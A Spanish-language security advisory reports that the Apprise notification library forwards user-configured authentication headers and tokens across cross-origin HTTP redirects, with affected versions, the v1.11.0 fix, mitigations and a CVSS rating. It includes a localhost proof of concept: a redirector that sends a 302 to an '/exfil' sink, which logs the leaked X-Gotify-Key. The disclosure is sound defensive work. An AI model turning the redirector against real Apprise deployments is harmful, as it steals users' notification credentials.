Apprise reenvía cabeceras de autenticación configuradas a través de redirecciones HTTP de origen cruzado

Resumen

Los complementos de notificación basados en HTTP de Apprise y sus cargadores de archivos adjuntos / configuraciones HTTP (apprise/attachment/http.py, apprise/config/http.py) siguen redirecciones HTTP 3xx de forma predeterminada y reenvían las cabeceras de autenticación y los parámetros de consulta configurados por el usuario en la solicitud redirigida. Si un destino configurado por el operador se ve comprometido posteriormente (toma de control del servicio, actualización maliciosa) o si un atacante obtiene una posición MITM en una ruta de red no protegida, dicho destino puede devolver un 302 Location: hacia un host arbitrario y Apprise reenviará el secreto del usuario (X-Gotify-Key, Authorization, tokens bearer en la consulta, valores personalizados de +Header=) a dicho host de origen cruzado. El atacante no necesita controlar la URL original de Apprise, únicamente la respuesta de un destino en el que el operador ya confía.

Este es el equivalente en la capa de aplicación de urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Versiones afectadas

Todas las versiones hasta la v1.10.0 inclusive (última versión en PyPI al momento del reporte, 2026-04-26). Corregido en v1.11.0 (publicada el 2026-05-29), que incluye el PR #1610 (fusionado el 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Detalles

apprise/plugins/gotify.py (HEAD previo a la corrección, líneas 226-244, textual):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests sigue las redirecciones 3xx de forma predeterminada y vuelve a adjuntar el diccionario headers= en la solicitud redirigida, independientemente del origen. El mismo patrón existe en aproximadamente 50 complementos (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api y la mayoría de los demás complementos basados en HTTP), además de en apprise/attachment/http.py y apprise/config/http.py.

Reproducción (local, segura)

# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()

# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()

# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Observado en el HEAD de master (2026-05-13): attacker_sink.py muestra X-Gotify-Key: SECRETTOKEN; el token proporcionado por el usuario siguió la redirección de origen cruzado.

Parche

La solución se incorporó en caronc/apprise#1610 (fusionado el 2026-05-16, commit 68c0aef):

• Añade el parámetro de URL ?redirect=yes|no en cada URL de plugin
• Añade el valor predeterminado global AppriseAsset.http_redirects
• Indicadores equivalentes integrados en apprise/attachment/http.py y apprise/config/http.py

El valor predeterminado sigue siendo redirects=True por motivos de compatibilidad con versiones anteriores; los operadores que reenvían notificaciones a través de destinos en los que no confían plenamente deben añadir ?redirect=no a sus URL de Apprise o configurar AppriseAsset(http_redirects=False) globalmente.

Publicado en v1.11.0 (2026-05-29, disponible en PyPI).

Relacionado:

• Documentación: caronc/apprise-docs#60 (fusionado el 2026-05-16)
• Homólogo de API: caronc/apprise-api#331 (fusionado el 2026-05-29; distribuido en apprise-api v1.5.1, construido sobre Apprise v1.11.0)

Mitigación

Actualice a Apprise v1.11.0 o posterior (pip install -U apprise).

El valor predeterminado sigue siendo redirect=yes por compatibilidad hacia atrás, por lo que, después de actualizar, los operadores que reenvíen notificaciones a través de destinos en los que no confíen plenamente también deben establecer AppriseAsset(http_redirects=False) globalmente o añadir ?redirect=no a cada URL de plugin.

Si aún no puede actualizar, ejecute Apprise únicamente hacia destinos de notificación totalmente confiables (el modelo compatible documentado por el mantenedor).

Clasificación

• CWE-200 Exposición de información confidencial a un actor no autorizado: los tokens de autenticación / claves de API / valores personalizados de +Header= del usuario se reenvían en la solicitud redirigida a otro origen.
• CWE-601 Redirección de URL a un sitio no confiable: una respuesta 3xx del destino inicial (configurado por el operador) envía la solicitud y sus credenciales a un host que el operador nunca configuró.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 BAJA.

El ataque requiere que el destino configurado por el operador esté comprometido o que un atacante se encuentre en la ruta de red. El impacto consiste en una pérdida parcial de confidencialidad: un único secreto suministrado por el usuario por solicitud redirigida, limitado a ese canal de notificación. Se trata deliberadamente de una cuestión específica de endurecimiento de redirecciones y reenvío de encabezados, y no de una afirmación de que los destinos remotos o la configuración remota constituyan vulnerabilidades en sí mismos.